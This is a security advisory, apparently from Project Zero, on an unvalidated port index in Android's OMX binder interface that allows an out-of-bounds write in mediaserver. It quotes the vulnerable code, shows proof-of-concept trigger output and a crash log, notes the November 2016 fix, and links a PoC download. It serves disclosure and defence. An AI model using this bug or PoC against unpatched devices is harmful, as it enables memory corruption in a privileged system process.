Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=932
The code in IOMXNodeInstance.cpp that handles enableNativeBuffers uses port_index without validation, leading to writing the dword value 0 or 1 at an attacker controlled offset from the IOMXNodeInstance structure.
The vulnerable code is here (every write to mSecureBufferType):
status_t OMXNodeInstance::enableNativeBuffers(
OMX_U32 portIndex, OMX_BOOL graphic, OMX_BOOL enable) {
Mutex::Autolock autoLock(mLock);
CLOG_CONFIG(enableNativeBuffers, "%s:%u%s, %d", portString(portIndex), portIndex,
graphic ? ", graphic" : "", enable);
OMX_STRING name = const_cast<OMX_STRING>(
graphic ? "OMX.google.android.index.enableAndroidNativeBuffers"
: "OMX.google.android.index.allocateNativeHandle");
OMX_INDEXTYPE index;
OMX_ERRORTYPE err = OMX_GetExtensionIndex(mHandle, name, &index);
if (err == OMX_ErrorNone) {
EnableAndroidNativeBuffersParams params;
InitOMXParams(¶ms);
params.nPortIndex = portIndex;
params.enable = enable;
err = OMX_SetParameter(mHandle, index, ¶ms);
CLOG_IF_ERROR(setParameter, err, "%s(%#x): %s:%u en=%d", name, index,
portString(portIndex), portIndex, enable);
if (!graphic) {
if (err == OMX_ErrorNone) {
mSecureBufferType[portIndex] =
enable ? kSecureBufferTypeNativeHandle : kSecureBufferTypeOpaque;
} else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
}
}
} else {
CLOG_ERROR_IF(enable, getExtensionIndex, err, "%s", name);
if (!graphic) {
// Extension not supported, check for manual override with system property
// This is a temporary workaround until partners support the OMX extension
char value[PROPERTY_VALUE_MAX];
if (property_get("media.mediadrmservice.enable", value, NULL)
&& (!strcmp("1", value) || !strcasecmp("true", value))) {
CLOG_CONFIG(enableNativeBuffers, "system property override: using native-handles");
mSecureBufferType[portIndex] = kSecureBufferTypeNativeHandle;
} else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
}
err = OMX_ErrorNone;
}
}
return StatusFromOMXError(err);
}
This code is reached from the binder interface android.hardware.IOMX in the mediaserver process; via the following code in IOMX.cpp which reads the port_index directly from the incoming parcel without any validation.
case ENABLE_NATIVE_BUFFERS:
{
CHECK_OMX_INTERFACE(IOMX, data, reply);
node_id node = (node_id)data.readInt32();
OMX_U32 port_index = data.readInt32();
OMX_BOOL graphic = (OMX_BOOL)data.readInt32();
OMX_BOOL enable = (OMX_BOOL)data.readInt32();
status_t err = enableNativeBuffers(node, port_index, graphic, enable);
reply->writeInt32(err);
return NO_ERROR;
}
Running the attached proof-of-concept on a Nexus 5x yields the following output:
--- binder OMX index-out-of-bounds ---
[0] opening /dev/binder
[0] looking up media.player
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 0c . 00 . 00 . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 . 2e . 00 .
0080: 70 p 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000cookie 0000000000000000code 00000000flags 00000000
pid0uid 1000data 24offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
- type 73682a85flags 0000017fptr 0000000000000001cookie 0000000000000000
[0] got handle 00000001
[0] creating an OMX
0000: 00 . 01 . 00 . 00 . 21 ! 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 .
0032: 61 a 00 . 2e . 00 . 49 I 00 . 4d M 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 .
0048: 50 P 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 53 S 00 . 65 e 00 .
0064: 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000cookie 0000000000000000code 00000000flags 00000000
pid0uid 1013data 24offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
- type 73682a85flags 0000017fptr 0000000000000002cookie 0000000000000000
[0] got handle 00000002
[0] creating node
0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 .
0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 .
0048: 58 X 00 . 00 . 00 . 4f O 4d M 58 X 2e . 67 g 6f o 6f o 67 g 6c l 65 e 2e . 67 g
0064: 73 s 6d m 2e . 64 d 65 e 63 c 6f o 64 d 65 e 72 r 00 . 00 . 85 . 2a * 62 b 73 s
0080: 7f . 01 . 00 . 00 . 41 A 41 A 41 A 41 A 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0096: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_INCREFS:
0x7fe5862df8, 0x7fe5862e00
BR_ACQUIRE:
0x7fe5862e0c, 0x7fe5862e14
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
target 0000000000000000cookie 0000000000000000code 00000000flags 00000000
pid0uid 1013data 8offs 0
0000: 00 . 00 . 00 . 00 . 03 . 00 . 1e . 1d .
[0] got node 1d1e0003
[0] triggering bug
0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 .
0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 .
0048: 58 X 00 . 00 . 00 . 03 . 00 . 1e . 1d . ba . 43 C 46 F 60 ` 00 . 00 . 00 . 00 .
0064: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_DEAD_REPLY:
And a corresponding crash in the mediaserver process:
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/bullhead/bullhead:7.0/NRD91E/3234993:userdebug/dev-keys'
Revision: 'rev_1.0'
ABI: 'arm'
pid: 7454, tid: 7457, name: Binder:7454_1>>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x6a9e0014
r0 6a9dffa8r1 ea8e757cr2 ea43aa1ar3 0000000f
r4 e984f0c0r5 8000101ar6 00000000r7 ea43a981
r8 604643bar9 00000000sl ea451f61fp 00000000
ip ea012658sp e81d5660lr e9faa527pc ea42d834cpsr 60030030
backtrace:
#00 pc 0001c834/system/lib/libstagefright_omx.so (_ZN7android15OMXNodeInstance19enableNativeBuffersEj8OMX_BOOLS1_+131)
#01 pc 0009b8fb/system/lib/libmedia.so (_ZN7android5BnOMX10onTransactEjRKNS_6ParcelEPS1_j+3626)
#02 pc 000359c3/system/lib/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+70)
#03 pc 0003d1bb/system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+702)
#04 pc 0003ce07/system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+114)
#05 pc 0003d31b/system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+46)
#06 pc 0004f765/system/lib/libbinder.so
#07 pc 0000e349/system/lib/libutils.so (_ZN7android6Thread11_threadLoopEPv+140)
#08 pc 00047003/system/lib/libc.so (_ZL15__pthread_startPv+22)
#09 pc 00019e1d/system/lib/libc.so (__start_thread+6)
Fixed in the November security bulletin at https://source.android.com/security/bulletin/2016-11-01.html
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40876.zip